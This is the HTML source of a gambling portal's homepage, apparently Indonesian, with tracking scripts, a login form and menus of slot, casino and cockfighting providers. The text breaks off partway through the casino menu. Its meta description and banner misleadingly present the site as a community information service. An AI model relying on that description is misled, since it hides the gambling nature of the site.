<!DOCTYPE html>
<html lang="id">

<head>
            <meta charset="UTF-8">
    <meta name='viewport' content='width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes' >
    <meta name="theme-color" content="#05003C">
    <meta name="msapplication-TileColor" content="#05003C">
    <meta name="msapplication-navbutton-color" content="#05003C">
    <meta name="apple-mobile-web-app-status-bar-style" content="#05003C">
        <!-- Favicon -->
    <link rel="icon" type="image/webp" href="https://images.linkcdn.cloud/V2/398/favicon/favicon-2110473952.webp">
    <!-- Canonical -->
    <link rel="canonical" href="https://hoki777.de.com/" />
    <!-- End Canonical -->
    <meta name="description" itemprop="description" content="Hoki777 is an official service where a digital platform meets a community eager to get the best information in Indonesia. Discover trusted community features." />
    <meta name="keywords" content="hoki777, hoki 777, daftar hoki777, login hoki777, link alternatif hoki777, livechat hoki777" />
    <title>Hoki777: Official Services for the Best Digital Platform</title>
    <!-- Custom Tags -->
            <link rel="amphtml" href="https://hkibanget.ink/">

<meta name="google-site-verification" content="fsqQo72UZ1qJ69rbn0S-tqXcSlj0CNtsfekxk8g2WSo" />

<meta property="og:type" content="website">
<meta property="og:url" content="https://hoki777.de.com/">
<meta property="og:title" content="Hoki777: Official Services for the Best Digital Platform">
<meta property="og:description" content="Hoki777 is an official service where a digital platform meets a community eager to get the best information in Indonesia. Discover trusted community features.">
<meta property="og:image" content="https://hoki777-gambar.pages.dev/banner_hoki777_5.webp">
<meta property="og:site_name" content="Hoki777">
<meta property="og:locale" content="id_ID">
<meta name="robots" content="index, follow">

<!-- Twitter -->
<meta property="twitter:card" content="summary_large_image">
<meta property="twitter:url" content="https://hoki777.de.com/">
<meta property="twitter:title" content="Hoki777: Official Services for the Best Digital Platform">
<meta property="twitter:description" content="Hoki777 is an official service where a digital platform meets a community eager to get the best information in Indonesia. Discover trusted community features.">
<meta name="copyright" content="Hoki777">
<meta name="publisher" content="Hoki777">
<meta name="language" content="id_ID">
<meta name="rating" content="general">

<!-- Geo Meta Tags -->
<meta name="tgn.nation" content="Indonesia">
<meta name="geo.country" content="ID">
<meta name="geo.region" content="ID">
<meta name="geo.placename" content="Indonesia">

<!-- Google tag (gtag.js) -->
<script async src="https://www.googletagmanager.com/gtag/js?id=G-8ML4BS66Y6"></script>
<script>
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());

  gtag('config', 'G-8ML4BS66Y6');
</script>
        <!-- End Custom Tags -->
    <script type="application/ld+json">
            {
  "@context": "https://schema.org/",
  "@type": "Article",
  "mainEntityOfPage": {
    "@type": "WebPage",
    "@id": "https://hoki777.de.com/"
  },
  "headline": "Hoki777: Official Services for the Best Digital Platform",
  "description": "Hoki777 is an official service where a digital platform meets a community eager to get the best information in Indonesia. Discover trusted community features.",
  "image": {
    "@type": "ImageObject",
    "url": "https://hoki777-gambar.pages.dev/banner_hoki777_5.webp",
    "width": "375",
    "height": "375"
  },
  "author": {
    "@type": "Organization",
    "name": "Hoki777",
    "url": "https://hoki777.de.com/"
  },
  "publisher": {
    "@type": "Organization",
    "name": "Hoki777",
    "logo": {
      "@type": "ImageObject",
      "url": "https://images.linkcdn.cloud/V2/398/logo/logo-2110473952.webp",
      "width": "250",
      "height": "171"
    }
  },
  "datePublished": "2026-10-13T01:00:00:00+07:00",
  "dateModified": "2026-10-13T10:00:00+07:00"
}
    </script>
    <link rel="preload" as="font" href="https://hoki777.de.com/themes/default/font/font-awesome/webfonts/fa-solid-900.woff2" type="font/woff2" crossorigin="anonymous">
    <link rel="preload" as="font" href="https://hoki777.de.com/themes/default/font/font-awesome/webfonts/fa-brands-400.woff2" type="font/woff2" crossorigin="anonymous">
    <link rel="stylesheet" type="text/css" href="https://hoki777.de.com/themes/default/css/global.css">
    <link rel="stylesheet" type="text/css" href="https://hoki777.de.com/themes/default/font/font-awesome/css/all.min.css">
        <link rel="stylesheet" id="templateStyle" type="text/css" href="https://hoki777.de.com/custom/css/style.css">
    <link rel="stylesheet" type="text/css" href="https://hoki777.de.com/themes/default/sass/custom.css?v=2.1.0.5.2 ACN Req. Reduced">
    <!-- FB META PIXEL SCRIPT -->
    <script>
        !function(f,b,e,v,n,t,s){if(f.fbq)return;n=f.fbq=function(){n.callMethod?n.callMethod.apply(n,arguments):n.queue.push(arguments)};if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0';n.queue=[];t=b.createElement(e);t.async=!0;t.src=v;s=b.getElementsByTagName(e)[0];s.parentNode.insertBefore(t,s)}(window, document,'script','https://connect.facebook.net/en_US/fbevents.js');
    </script>
        <!-- END FB META PIXEL SCRIPT -->
    <!-- SO Pixel Code -->
    <script>
        !(function(p,l,o,w,i,n,g){if(!p[i]){p.GlobalSnowplowNamespace=p.GlobalSnowplowNamespace||[];p.GlobalSnowplowNamespace.push(i);p[i]=function(){(p[i].q=p[i].q||[]).push(arguments)};p[i].q=p[i].q||[];n=l.createElement(o);g=l.getElementsByTagName(o)[0];n.async=1;n.src=w;g.parentNode.insertBefore(n,g)}})(window,document,"script","//res-odx.op-mobile.opera.com/sp.js","otag");
            </script>
    <!-- End SO Pixel Code -->
    <!--- Tiktok Pixel Code -->
    <script>
        !function (w, d, t) {
            w.TiktokAnalyticsObject=t;var ttq=w[t]=w[t]||[];ttq.methods=["page","track","identify","instances","debug","on","off","once","ready","alias","group","enableCookie","disableCookie"],ttq.setAndDefer=function(t,e){t[e]=function(){t.push([e].concat(Array.prototype.slice.call(arguments,0)))}};for(var i=0;i<ttq.methods.length;i++)ttq.setAndDefer(ttq,ttq.methods[i]);ttq.instance=function(t){for(var e=ttq._i[t]||[],n=0;n<ttq.methods.length;n++)ttq.setAndDefer(e,ttq.methods[n]);return e},ttq.load=function(e,n){var i="https://analytics.tiktok.com/i18n/pixel/events.js";ttq._i=ttq._i||{},ttq._i[e]=[],ttq._i[e]._u=i,ttq._t=ttq._t||{},ttq._t[e]=+new Date,ttq._o=ttq._o||{},ttq._o[e]=n||{};var o=document.createElement("script");o.type="text/javascript",o.async=!0,o.src=i+"?sdkid="+e+"&lib="+t;var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(o,a)}
                                }(window, document, 'ttq');
    </script>
    <!--- End Tiktok Pixel Code -->
</head>

<body>
                
<header class="header" >
        <div class="header__top">
        <div class="container">
            <div class="row">
                <div class="col-lg-3 d-flex align-items-center">
                    <div class="header-time" id="headerTime"></div>
                </div>
                <div class="col-lg-6 d-flex align-items-center">
                    <div class="header-marquee">
                        <i class="fas fa-bullhorn"></i>
                        <div class="marquee text-nowrap overflow-hidden">
                            Hoki777 is an official service where a digital platform meets a community eager to get the best information in Indonesia. Discover trusted community features.
                        </div>
                    </div>
                </div>
                <div class="col-lg-3">
                    <div class="header-icons">
                                                <a href="https://hoki777.de.com/help">
                            <i class="fas fa-info" title="Bantuan"></i>
                        </a>
                        <div id="header-currency" class="header-flag mr-3">
                            <span>Rupiah</span>
                                                    </div>
                        <div id="header-lang" class="header-flag">
                            <img src="https://images.linkcdn.cloud/global/default/icon/lang/indonesia.png" alt="id">
                            <i class="fas fa-caret-down"></i>

                            <div id="lang-dropdown" class="flag-dropdown">
                                                                <a href="javascript:;" data-locale="en" name="locale-switch">
                                    <div class="flag-item">
                                        <img src="https://images.linkcdn.cloud/global/default/icon/lang/english.png" alt="en">
                                        <span>English</span>
                                    </div>
                                </a>
                                                                <a href="javascript:;" data-locale="id" name="locale-switch">
                                    <div class="flag-item">
                                        <img src="https://images.linkcdn.cloud/global/default/icon/lang/indonesia.png" alt="id">
                                        <span>Indonesia</span>
                                    </div>
                                </a>
                                                                <a href="javascript:;" data-locale="th" name="locale-switch">
                                    <div class="flag-item">
                                        <img src="https://images.linkcdn.cloud/global/default/icon/lang/thai.png" alt="th">
                                        <span>Thailand</span>
                                    </div>
                                </a>
                                                                <a href="javascript:;" data-locale="vn" name="locale-switch">
                                    <div class="flag-item">
                                        <img src="https://images.linkcdn.cloud/global/default/icon/lang/vietnam.png" alt="vn">
                                        <span>Viet</span>
                                    </div>
                                </a>
                                                                <a href="javascript:;" data-locale="kh" name="locale-switch">
                                    <div class="flag-item">
                                        <img src="https://images.linkcdn.cloud/global/default/icon/lang/cambodia.png" alt="kh">
                                        <span>Khmer</span>
                                    </div>
                                </a>
                                                                <a href="javascript:;" data-locale="cn" name="locale-switch">
                                    <div class="flag-item">
                                        <img src="https://images.linkcdn.cloud/global/default/icon/lang/chinese.png" alt="cn">
                                        <span>Chinese</span>
                                    </div>
                                </a>
                                                                <a href="javascript:;" data-locale="tl" name="locale-switch">
                                    <div class="flag-item">
                                        <img src="https://images.linkcdn.cloud/global/default/icon/lang/philippines.png" alt="tl">
                                        <span>Tagalog</span>
                                    </div>
                                </a>
                                                            </div>
                        </div>
                                                                                            </div>
                </div>
            </div>
        </div>
    </div>
        <div class="header__mid">
        <div class="container">
            <div class="row">
                <div class="col-lg-3 d-flex align-items-center">
                    <div class="header-logo">
                        <a href="https://hoki777.de.com">
                            <img alt="WebsiteLogo" src="https://images.linkcdn.cloud/V2/398/logo/logo-2110473952.webp" width="250" height="54" >
                        </a>
                    </div>
                </div>
                <div class="col-lg-9">
                                        <div class="header-form">
                        <form name="login-form">
                            <div class="row">
                                <input value="" name="usernameLogin" type="text" placeholder="Nama Pengguna*" autocomplete="off" style="text-transform: lowercase" required>
                                <div class="position-relative">
                                    <input value="" id="passwordLogin" name="passwordLogin" type="password" placeholder="Kata Sandi*" autocomplete="off" required>
                                    <i class="toggle-password fas fa-eye-slash" toggle="#passwordLogin" style="
    position: absolute;
    right:0.5rem;
    top:50%;
    transform:translateY(-50%);
    cursor:pointer;
    color:#808080;
"></i>                                </div>
                                <button name="buttonLogin" type="submit" class="btn-masuk">Masuk</button>
                                <a id="register" href="https://hoki777.de.com/register" class="btn-daftar">Daftar</a>
                            </div>
                        </form>
                    </div>
                    <div class="header-forgot">
                        <a id="forgot-password" href="https://hoki777.de.com/forgot-password">Lupa Kata Sandi ?</a>
                        <div class="mid-login">
                                                    </div>
                    </div>
                                                        </div>
            </div>
        </div>
    </div>
</header>
<div class="header-nav">
    <div id="pageLoadingBar" class="progress-bar progress-bar-success" role="progressbar" style="height:4px;width:1%;position:absolute;z-index:999;"></div>
    <nav class="navbar navbar-expand-lg navbar-dark">
        <div class="container">
            <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNavAltMarkup"
                aria-controls="navbarNavAltMarkup" aria-expanded="false" aria-label="Toggle navigation">
                <span class="navbar-toggler-icon"></span>
            </button>
            <div class="collapse navbar-collapse" id="navbarNavAltMarkup">
                <div class="navbar-nav">
                                                                                                    <div class="nav-item">
                        <a class="nav-link" href="javascript:;" onclick="routeNav('/')">
                                                            <i class="fas fa-home" style="font-size: 130%"></i>
                                                    </a>
                    </div>
                                                                                                                                                                <div class="nav-item">
                                                <a class="nav-link" href="javascript:;" onclick="gameAlert()">
                                                                            <img src="https://images.linkcdn.cloud/global/nav-addons/hot_category.png"  width="30" height="12" style="position: absolute; z-index:999; animation: 0.25s ease 0s infinite alternate none running beat; top:0px;">
                            <img src="https://images.linkcdn.cloud/global/default/icon/snp.webp" width="30">
                            <span class="nav-link-name mr-1">Strimo live</span>
                        </a>
                    </div>
                                                                                                                                            <div class="nav-item">
                        <a href="javascript:;" class="nav-link" onclick="routeNav('/slot')" style="cursor: pointer;">
                                                        Slot
                            <i class="fas fa-caret-down"></i>
                        </a>
                        <div class="nav-item__game">
                            <div class="container text-center justify-content-center">
                                                                                                <div class="game-item game-item-new">
                                                                            <a onclick="routeNav('/slot/pragmaticplay')" href="javascript:;">
                                                                                                                        <img title="Pragmatic Play" alt="Pragmatic Play" src="https://images.linkcdn.cloud/global/navbar/slots/pra.webp">
                                            <div class="game-name">Pragmatic Play</div>
                                                                                
                                                                                    <img title="Pragmatic Play" alt="Pragmatic Play" class="game-new" src="https://images.linkcdn.cloud/global/nav-addons/promo.webp">
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item game-item-new">
                                                                            <a onclick="routeNav('/slot/pragmaticpop')" href="javascript:;">
                                                                                                                        <img title="PP POP" alt="PP POP" src="https://images.linkcdn.cloud/global/navbar/slots/fat.webp">
                                            <div class="game-name">PP POP</div>
                                                                                
                                                                                    <img title="PP POP" alt="PP POP" class="game-new" src="https://images.linkcdn.cloud/global/nav-addons/promo.webp">
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item game-item-new">
                                                                            <a onclick="routeNav('/slot/pgsoft')" href="javascript:;">
                                                                                                                        <img title="PG Soft" alt="PG Soft" src="https://images.linkcdn.cloud/global/navbar/slots/pgs.webp">
                                            <div class="game-name">PG Soft</div>
                                                                                
                                                                                    <img title="PG Soft" alt="PG Soft" class="game-new" src="https://images.linkcdn.cloud/global/nav-addons/promo.webp">
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/afbgaming')" href="javascript:;">
                                                                                                                        <img title="Afb Gaming" alt="Afb Gaming" src="https://images.linkcdn.cloud/global/navbar/slots/afg.webp">
                                            <div class="game-name">Afb Gaming</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/blitzgamingsoft')" href="javascript:;">
                                                                                                                        <img title="BLITZ GAMING SOFT" alt="BLITZ GAMING SOFT" src="https://images.linkcdn.cloud/global/navbar/slots/bgs.webp">
                                            <div class="game-name">BLITZ GAMING SOFT</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/cq9')" href="javascript:;">
                                                                                                                        <img title="CQ9 Gaming" alt="CQ9 Gaming" src="https://images.linkcdn.cloud/global/navbar/slots/cq9.webp">
                                            <div class="game-name">CQ9 Gaming</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/nextspin')" href="javascript:;">
                                                                                                                        <img title="NEXTSPIN" alt="NEXTSPIN" src="https://images.linkcdn.cloud/global/navbar/slots/nex.webp">
                                            <div class="game-name">NEXTSPIN</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/btgaming')" href="javascript:;">
                                                                                                                        <img title="BT GAMING" alt="BT GAMING" src="https://images.linkcdn.cloud/global/navbar/slots/bgg.webp">
                                            <div class="game-name">BT GAMING</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/fastspin')" href="javascript:;">
                                                                                                                        <img title="FASTSPIN" alt="FASTSPIN" src="https://images.linkcdn.cloud/global/navbar/slots/fsp.webp">
                                            <div class="game-name">FASTSPIN</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/spadegaming')" href="javascript:;">
                                                                                                                        <img title="Spade Gaming" alt="Spade Gaming" src="https://images.linkcdn.cloud/global/navbar/slots/spd.webp">
                                            <div class="game-name">Spade Gaming</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item game-item-new">
                                                                            <a onclick="routeNav('/slot/microgaming')" href="javascript:;">
                                                                                                                        <img title="Microgaming" alt="Microgaming" src="https://images.linkcdn.cloud/global/navbar/slots/mic.webp">
                                            <div class="game-name">Microgaming</div>
                                                                                
                                                                                    <img title="Microgaming" alt="Microgaming" class="game-new" src="https://images.linkcdn.cloud/global/nav-addons/promo.webp">
                                                                            </a>
                                </div>
                                                                                                                                                                <div class="game-item">
                                    <a href="javascript:;">
                                                                                <img title="Advantplay" alt="Advantplay"
                                            src="https://images.linkcdn.cloud/global/navbar/slots/adv.webp">
                                        <div class="game-name">Advantplay</div>
                                                                                                                            <img title="Advantplay" alt="Advantplay" class="game-maintenance" src="https://images.linkcdn.cloud/global/nav-addons/maintenance_logo.png">
                                                                            </a>
                                </div>
                                                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/joker')" href="javascript:;">
                                                                                                                        <img title="Joker Gaming" alt="Joker Gaming" src="https://images.linkcdn.cloud/global/navbar/slots/jok.webp">
                                            <div class="game-name">Joker Gaming</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/playtech')" href="javascript:;">
                                                                                                                        <img title="Playtech Slot" alt="Playtech Slot" src="https://images.linkcdn.cloud/global/navbar/slots/pla.webp">
                                            <div class="game-name">Playtech Slot</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item game-item-new">
                                                                            <a onclick="routeNav('/slot/gbgame')" href="javascript:;">
                                                                                                                        <img title="GB Game" alt="GB Game" src="https://images.linkcdn.cloud/global/navbar/slots/hcg.webp">
                                            <div class="game-name">GB Game</div>
                                                                                
                                                                                    <img title="GB Game" alt="GB Game" class="game-new" src="https://images.linkcdn.cloud/global/nav-addons/promo.webp">
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/besoft')" href="javascript:;">
                                                                                                                        <img title="BESOFT" alt="BESOFT" src="https://images.linkcdn.cloud/global/navbar/slots/bsf.webp">
                                            <div class="game-name">BESOFT</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/playstar')" href="javascript:;">
                                                                                                                        <img title="Playstar" alt="Playstar" src="https://images.linkcdn.cloud/global/navbar/slots/pls.webp">
                                            <div class="game-name">Playstar</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/wonwon')" href="javascript:;">
                                                                                                                        <img title="WONWON" alt="WONWON" src="https://images.linkcdn.cloud/global/navbar/slots/won.webp">
                                            <div class="game-name">WONWON</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item game-item-new">
                                                                            <a onclick="routeNav('/slot/cosmoplay')" href="javascript:;">
                                                                                                                        <img title="COSMOPLAY" alt="COSMOPLAY" src="https://images.linkcdn.cloud/global/navbar/slots/cos.webp">
                                            <div class="game-name">COSMOPLAY</div>
                                                                                
                                                                                    <img title="COSMOPLAY" alt="COSMOPLAY" class="game-new" src="https://images.linkcdn.cloud/global/nav-addons/new_icon.webp">
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/fachai')" href="javascript:;">
                                                                                                                        <img title="Fa Chai" alt="Fa Chai" src="https://images.linkcdn.cloud/global/navbar/slots/fac.webp">
                                            <div class="game-name">Fa Chai</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/ygr')" href="javascript:;">
                                                                                                                        <img title="YGR Slot" alt="YGR Slot" src="https://images.linkcdn.cloud/global/navbar/slots/ygr.webp">
                                            <div class="game-name">YGR Slot</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/jili')" href="javascript:;">
                                                                                                                        <img title="JILI" alt="JILI" src="https://images.linkcdn.cloud/global/navbar/slots/jli.webp">
                                            <div class="game-name">JILI</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/nolimitcity')" href="javascript:;">
                                                                                                                        <img title="NoLimit City" alt="NoLimit City" src="https://images.linkcdn.cloud/global/navbar/slots/nlc.webp">
                                            <div class="game-name">NoLimit City</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/funkygames')" href="javascript:;">
                                                                                                                        <img title="FUNKY GAMES" alt="FUNKY GAMES" src="https://images.linkcdn.cloud/global/navbar/slots/fun.webp">
                                            <div class="game-name">FUNKY GAMES</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/mimigaming')" href="javascript:;">
                                                                                                                        <img title="MIMI GAMING" alt="MIMI GAMING" src="https://images.linkcdn.cloud/global/navbar/slots/mmg.webp">
                                            <div class="game-name">MIMI GAMING</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/rich88')" href="javascript:;">
                                                                                                                        <img title="RICH88" alt="RICH88" src="https://images.linkcdn.cloud/global/navbar/slots/r88.webp">
                                            <div class="game-name">RICH88</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/slot4d')" href="javascript:;">
                                                                                                                        <img title="TOGEL SLOT" alt="TOGEL SLOT" src="https://images.linkcdn.cloud/global/navbar/slots/s4d.webp">
                                            <div class="game-name">TOGEL SLOT</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/zeus')" href="javascript:;">
                                                                                                                        <img title="ZEUS" alt="ZEUS" src="https://images.linkcdn.cloud/global/navbar/slots/hg5.webp">
                                            <div class="game-name">ZEUS</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/5gs')" href="javascript:;">
                                                                                                                        <img title="5G GAMES" alt="5G GAMES" src="https://images.linkcdn.cloud/global/navbar/slots/5gs.webp">
                                            <div class="game-name">5G GAMES</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                                                <div class="game-item">
                                    <a href="javascript:;">
                                                                                <img title="WOW GAMING" alt="WOW GAMING"
                                            src="https://images.linkcdn.cloud/global/navbar/slots/wow.webp">
                                        <div class="game-name">WOW GAMING</div>
                                                                                                                            <img title="WOW GAMING" alt="WOW GAMING" class="game-maintenance" src="https://images.linkcdn.cloud/global/nav-addons/maintenance_logo.png">
                                                                            </a>
                                </div>
                                                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/jdb')" href="javascript:;">
                                                                                                                        <img title="JDB" alt="JDB" src="https://images.linkcdn.cloud/global/navbar/slots/jdb.webp">
                                            <div class="game-name">JDB</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/hydako')" href="javascript:;">
                                                                                                                        <img title="Hydako" alt="Hydako" src="https://images.linkcdn.cloud/global/navbar/slots/hyd.webp">
                                            <div class="game-name">Hydako</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/habanero')" href="javascript:;">
                                                                                                                        <img title="Habanero" alt="Habanero" src="https://images.linkcdn.cloud/global/navbar/slots/hbn.webp">
                                            <div class="game-name">Habanero</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                            <a onclick="routeNav('/slot/redtiger')" href="javascript:;">
                                                                                                                        <img title="RED TIGER" alt="RED TIGER" src=" https://images.linkcdn.cloud/global/navbar/slots/rtr.webp ">
                                            <div class="game-name">RED TIGER</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                <div class="game-item game-item-new">
                                                                            <a onclick="routeNav('/slot/primesigmagaming')" href="javascript:;">
                                                                                                                        <img title="PRIME SIGMA GAMING" alt="PRIME SIGMA GAMING" src="https://images.linkcdn.cloud/global/navbar/slots/psg.webp">
                                            <div class="game-name">PRIME SIGMA GAMING</div>
                                                                                
                                                                                    <img title="PRIME SIGMA GAMING" alt="PRIME SIGMA GAMING" class="game-new" src="https://images.linkcdn.cloud/global/nav-addons/new_icon.webp">
                                                                            </a>
                                </div>
                                                                                            </div>
                        </div>
                        
                    </div>
                                                                                                                        <div class="nav-item">
                        <a href="javascript:;" class="nav-link" onclick="routeNav('/livegames')" style="cursor: pointer;">
                            								<img src="https://images.linkcdn.cloud/global/nav-addons/hot_category.png"  width="30" height="12" style="position: absolute; z-index:999; animation: 0.25s ease 0s infinite alternate none running beat; top:0px;">
							                            Live Game
                            <i class="fas fa-caret-down"></i>
                        </a>
                        <div class="nav-item__game">
                            <div class="container text-center justify-content-center">
                                                                                                <div class="game-item game-item-new">
                                                                                                                        <a href="javascript:;" onclick="gameAlert()">
                                                                                                                                                                                                        <img title="CFA88" alt="CFA88" src="https://images.linkcdn.cloud/global/navbar/sportbook/cfa.webp">
                                            <div class="game-name">CFA88</div>
                                                                                
                                                                                    <img title="CFA88" alt="CFA88" class="game-new" src="https://images.linkcdn.cloud/global/nav-addons/promo.webp">
                                                                            </a>
                                </div>
                                                                                                                                                                                                                                                                                                                                                                                                                                <div class="game-item">
                                    <a href="javascript:;">
                                                                                <img title="AFB COCKFIGHT" alt="AFB COCKFIGHT"
                                            src="https://images.linkcdn.cloud/global/navbar/othergame/aco.webp">
                                        <div class="game-name">AFB COCKFIGHT</div>
                                                                                                                            <img title="AFB COCKFIGHT" alt="AFB COCKFIGHT" class="game-maintenance" src="https://images.linkcdn.cloud/global/nav-addons/cmsoon_icon.png">
                                                                            </a>
                                </div>
                                                                                                                                                                <div class="game-item ">
                                                                                                                        <a href="javascript:;" onclick="gameAlert()">
                                                                                                                                                                                                        <img title="GA28" alt="GA28" src="https://images.linkcdn.cloud/global/navbar/othergame/ga2.webp">
                                            <div class="game-name">GA28</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                                                                                                                                                <div class="game-item ">
                                                                                                                        <a href="javascript:;" onclick="gameAlert()">
                                                                                                                                                                                                        <img title="WS168" alt="WS168" src="https://images.linkcdn.cloud/global/navbar/othergame/ws1.webp">
                                            <div class="game-name">WS168</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                                                                        <a href="javascript:;" onclick="gameAlert()">
                                                                                                                                                                                                        <img title="SV388 Cockfight" alt="SV388 Cockfight" src="https://images.linkcdn.cloud/global/navbar/othergame/sv3.webp">
                                            <div class="game-name">SV388 Cockfight</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                                                                        <a href="javascript:;" onclick="gameAlert()">
                                                                                                                                                                                                        <img title="MIKI Gaming" alt="MIKI Gaming" src="https://images.linkcdn.cloud/global/navbar/othergame/mki.webp">
                                            <div class="game-name">MIKI Gaming</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                            </div>
                        </div>
                        
                    </div>
                                                                                                                        <div class="nav-item">
                        <a href="javascript:;" class="nav-link" onclick="routeNav('/casino')" style="cursor: pointer;">
                                                        Casino
                            <i class="fas fa-caret-down"></i>
                        </a>
                        <div class="nav-item__game">
                            <div class="container text-center justify-content-center">
                                                                                                <div class="game-item ">
                                                                                                                        <a href="javascript:;" onclick="gameAlert()">
                                                                                                                                                                                                        <img title="Pragmatic Play LC" alt="Pragmatic Play LC" src="https://images.linkcdn.cloud/global/navbar/casino/plc.webp">
                                            <div class="game-name">Pragmatic Play LC</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                                                                        <a href="javascript:;" onclick="gameAlert()">
                                                                                                                                                                                                        <img title="Playtech Casino" alt="Playtech Casino" src="https://images.linkcdn.cloud/global/navbar/casino/pca.webp">
                                            <div class="game-name">Playtech Casino</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                                                                        <a href="javascript:;" onclick="gameAlert()">
                                                                                                                                                                                                        <img title="ALLBET" alt="ALLBET" src="https://images.linkcdn.cloud/global/navbar/casino/alb.webp">
                                            <div class="game-name">ALLBET</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                                                                        <a href="javascript:;" onclick="gameAlert()">
                                                                                                                                                                                                        <img title="MICROGAMING LC" alt="MICROGAMING LC" src="https://images.linkcdn.cloud/global/navbar/casino/mlc.webp">
                                            <div class="game-name">MICROGAMING LC</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                                                                        <a href="javascript:;" onclick="gameAlert()">
                                                                                                                                                                                                        <img title="Sexy Gaming" alt="Sexy Gaming" src="https://images.linkcdn.cloud/global/navbar/casino/seg.webp">
                                            <div class="game-name">Sexy Gaming</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                                                                        <a href="javascript:;" onclick="gameAlert()">
                                                                                                                                                                                                        <img title="WM Casino" alt="WM Casino" src="https://images.linkcdn.cloud/global/navbar/casino/wmc.webp">
                                            <div class="game-name">WM Casino</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                                                                        <a href="javascript:;" onclick="gameAlert()">
                                                                                                                                                                                                        <img title="Evolution" alt="Evolution" src="https://images.linkcdn.cloud/global/navbar/casino/evolution.webp">
                                            <div class="game-name">Evolution</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item game-item-new">
                                                                                                                        <a href="javascript:;" onclick="gameAlert()">
                                                                                                                                                                                                        <img title="CHOICE" alt="CHOICE" src="https://images.linkcdn.cloud/global/navbar/casino/agc.webp">
                                            <div class="game-name">CHOICE</div>
                                                                                
                                                                                    <img title="CHOICE" alt="CHOICE" class="game-new" src="https://images.linkcdn.cloud/global/nav-addons/promo.webp">
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                                                                        <a href="javascript:;" onclick="gameAlert()">
                                                                                                                                                                                                        <img title="OG Casino" alt="OG Casino" src="https://images.linkcdn.cloud/global/navbar/casino/ogs.webp">
                                            <div class="game-name">OG Casino</div>
                                                                                
                                                                            </a>
                                </div>
                                                                                                                                <div class="game-item ">
                                                                                                                        <a href="javascript:;" onclick="gameAlert()">
